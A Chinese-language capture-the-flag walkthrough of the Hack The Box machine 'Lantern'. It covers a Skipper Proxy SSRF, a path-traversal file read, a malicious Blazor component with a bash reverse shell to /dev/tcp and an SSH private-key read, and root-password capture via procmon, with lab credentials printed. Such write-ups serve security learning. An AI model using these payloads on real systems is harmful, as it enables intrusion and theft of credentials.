Lantern(HTB Hard)
基本信息
- IP:
10.10.11.29 - VPN:
10.10.16.15 - 域名:
lantern.htb
信息收集
vim /etc/hosts
10.10.11.29 lantern.htb
nmap -sC -sV -Pn -T4 10.10.11.29
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp open http Skipper Proxy
3000/tcp open ppp?
/vacancies 有表单(可能 XSS)。3000 是 Blazor 管理后台。Skipper Proxy SSRF:EDB-51111,请求头 X-Skipper-Proxy。
python3 -m http.server 80
Burp 访问 http://lantern.htb,加:
X-Skipper-Proxy: http://10.10.16.7
本机收到请求,SSRF 成立。扫内网端口:
ffuf -w /usr/share/wordlists/ports.txt -c -v -t 1000 -u http://lantern.htb/ -H "X-Skipper-Proxy: http://lantern.htb:FUZZ"
发现 22、80、5000、8000。5000 上有 Blazor WASM:
curl http://lantern.htb/_framework/InternaLantern.dll -H "X-Skipper-Proxy: http://lantern.htb:5000" -o InternaLantern.dll
反编译 DLL,解出:
Initial credentials admin:AJbFA_Q@925p9ap#22
登录 3000 后台。站点还有任意文件读:
@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
lang = request.args.get('lang')
file_ext = request.args.get('ext')
try:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
except:
return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')
curl "http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../.&ext=/etc/passwd"
用户 root、tomas。搜索框只能读 /opt/components/ 下的 dll。把 Logs.dll 读下来分析继承关系,编写恶意组件。
curl "http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../.&ext=/opt/components/Logs.dll" -o Logs.dll
dotnet new classlib -n test
User
反弹版组件(shell 不稳定):
using System;
using System.Diagnostics;
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
namespace test {
public class Component : ComponentBase {
protected override void BuildRenderTree(RenderTreeBuilder __builder) {
Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "bash";
proc.StartInfo.Arguments = "-c \"bash -i >& /dev/tcp/10.10.16.15/6666 0>&1\"";
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
}
}
}
dotnet add package Microsoft.AspNetCore.Components --version 6.0.0
dotnet add package Microsoft.AspNetCore.Components.Web --version 6.0.0
dotnet build -c release
Blazor 走 WebSocket,用 BlazorTrafficProcessor 改上传文件名到 /opt/components/test.dll。反弹 shell 几秒就断,改成读 SSH 私钥:
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using System.IO;
namespace test {
public class Component : ComponentBase {
protected override void BuildRenderTree(RenderTreeBuilder builder) {
base.BuildRenderTree(builder);
string file = File.ReadAllText("/home/tomas/.ssh/id_rsa");
builder.AddContent(0, file);
}
}
}
整理私钥(70 字符一行),然后:
chmod 600 id_rsa
ssh -i id_rsa [email protected]
拿到 user.txt。
Root
sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/procmon
/var/mail 提到 /root/automation.sh。ps -aef 看到 root 在用 nano 编这个脚本(PID 1985)。
file /usr/bin/procmon
sudo procmon -p 1985 -e write
等约 10 分钟,F6 / F9 退出,把 db 拉回:
scp -i id_rsa [email protected]:/var/mail/procmon_*.db ./
mv procmon_*.db procmon.db
sqlite3
.open procmon.db
.tables
pragma table_info(ebpf);
.output text.txt
SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;
CyberChef From Hex,去掉重复字符后得到 root 密码:Q3Eddtdw3pMB。
至此机器权限已经全部获取。